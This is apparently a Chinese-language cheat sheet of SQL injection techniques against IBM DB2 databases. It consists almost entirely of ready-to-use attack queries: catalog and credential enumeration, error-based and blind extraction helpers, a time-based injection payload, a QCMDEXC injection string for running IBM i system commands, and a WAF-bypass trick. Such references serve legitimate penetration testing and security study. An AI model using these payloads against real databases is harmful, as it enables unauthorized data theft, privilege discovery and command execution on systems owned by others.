跳转至

DB2 注入 (DB2 Injection)

IBM DB2 是由 IBM 开发的一系列关系型数据库管理系统 (RDBMS)。DB2 最初于 20 世纪 80 年代为大型机 (Mainframes) 创建,现已演变为支持各种平台和工作负载,包括分布式系统、云环境和混合部署。

摘要 (Summary)

DB2 注释 (DB2 Comments)

注释类型 描述 (Description)
-- SQL 注释

DB2 默认数据库 (DB2 Default Databases)

名称 描述 (Description)
SYSIBM 核心系统编目表,存储数据库对象的元数据。
SYSCAT 用于访问 SYSIBM 表中元数据的用户友好视图。
SYSSTAT DB2 优化器用于查询优化的统计表。
SYSPUBLIC 有关所有用户可用对象(授予 PUBLIC 权限)的元数据。
SYSIBMADM 用于监控和管理数据库系统的管理视图。
SYSTOOLs 为数据库管理和故障排除提供的工具、实用程序和辅助对象。

DB2 枚举 (DB2 Enumeration)

枚举描述 SQL 查询
DBMS 版本 select versionnumber, version_timestamp from sysibm.sysversions;
DBMS 版本 select service_level from table(sysproc.env_get_inst_info()) as instanceinfo
DBMS 版本 select getvariable('sysibm.version') from sysibm.sysdummy1
DBMS 版本 select prod_release,installed_prod_fullname from table(sysproc.env_get_prod_info()) as productinfo
DBMS 版本 select service_level,bld_level from sysibmadm.env_inst_info
当前用户 select user from sysibm.sysdummy1
当前用户 select session_user from sysibm.sysdummy1
当前用户 select system_user from sysibm.sysdummy1
当前数据库 select current server from sysibm.sysdummy1
操作系统信息 select os_name,os_version,os_release,host_name from sysibmadm.env_sys_info

DB2 方法论 (DB2 Methodology)

方法描述 SQL 查询
列出数据库 SELECT distinct(table_catalog) FROM sysibm.tables
列出数据库 SELECT schemaname FROM syscat.schemata;
列出列名 SELECT name, tbname, coltype FROM sysibm.syscolumns
列出表名 SELECT table_name FROM sysibm.tables
列出表名 SELECT name FROM sysibm.systables
列出表名 SELECT tbname FROM sysibm.syscolumns WHERE name='username'

基于报错的 DB2 注入 (DB2 Error Based)

-- 在一个 XML 格式的字符串中返回所有结果
select xmlagg(xmlrow(table_schema)) from sysibm.tables

-- 同上,但不包含重复元素
select xmlagg(xmlrow(table_schema)) from (select distinct(table_schema) from sysibm.tables)

-- 在一个 XML 格式的字符串中返回所有结果。
-- 可能需要使用 CAST(xml2clob(… AS varchar(500)) 来显示结果。
select xml2clob(xmelement(name t, table_schema)) from sysibm.tables 

基于盲注的 DB2 注入 (DB2 Blind Based)

盲注描述 SQL 查询
子字符串截取 select substr('abc',2,1) FROM sysibm.sysdummy1
ASCII 对应字符 select chr(65) from sysibm.sysdummy1
字符转 ASCII select ascii('A') from sysibm.sysdummy1
选择第 N 行 select name from (select * from sysibm.systables order by name asc fetch first N rows only) order by name desc fetch first row only
按位与 (AND) select bitand(1,0) from sysibm.sysdummy1
按位与非 (AND NOT) select bitandnot(1,0) from sysibm.sysdummy1
按位或 (OR) select bitor(1,0) from sysibm.sysdummy1
按位异或 (XOR) select bitxor(1,0) from sysibm.sysdummy1
按位非 (NOT) select bitnot(1,0) from sysibm.sysdummy1

基于时间的 DB2 注入 (DB2 Time Based)

繁重查询:如果用户的查询以 ASCII 68 ('D') 开头,重型查询将被执行,从而延迟响应。

' and (SELECT count(*) from sysibm.columns t1, sysibm.columns t2, sysibm.columns t3)>0 and (select ascii(substr(user,1,1)) from sysibm.sysdummy1)=68 

DB2 命令执行 (DB2 Command Execution)

QSYS2.QCMDEXC() 存储过程和标量函数可用于执行 IBM i CL 命令。

通过在 IBM i(原名 AS-400)上使用 QSYS2.QCMDEXC(),可以实现命令执行。

'||QCMDEXC('QSH CMD(''system dspusrprf PROFILE'')')

DB2 WAF 绕过 (DB2 WAF Bypass)

避免使用引号

SELECT chr(65)||chr(68)||chr(82)||chr(73) FROM sysibm.sysdummy1

DB2 账户与权限 (DB2 Accounts and Privileges)

权限描述 SQL 查询
列出用户 select distinct(grantee) from sysibm.systabauth
列出用户 select distinct(definer) from syscat.schemata
列出用户 select distinct(authid) from sysibmadm.privileges
列出用户 select grantee from syscat.dbauth
列出权限 select * from syscat.tabauth
列出权限 select * from SYSIBM.SYSUSERAUTH — 列出 db2 系统权限
列出 DBA 账户 select distinct(grantee) from sysibm.systabauth where CONTROLAUTH='Y'
列出 DBA 账户 select name from SYSIBM.SYSUSERAUTH where SYSADMAUTH = 'Y' or SYSADMAUTH = 'G'
数据库文件位置 select * from sysibmadm.reg_variables where reg_var_name='DB2PATH'

参考资料 (References)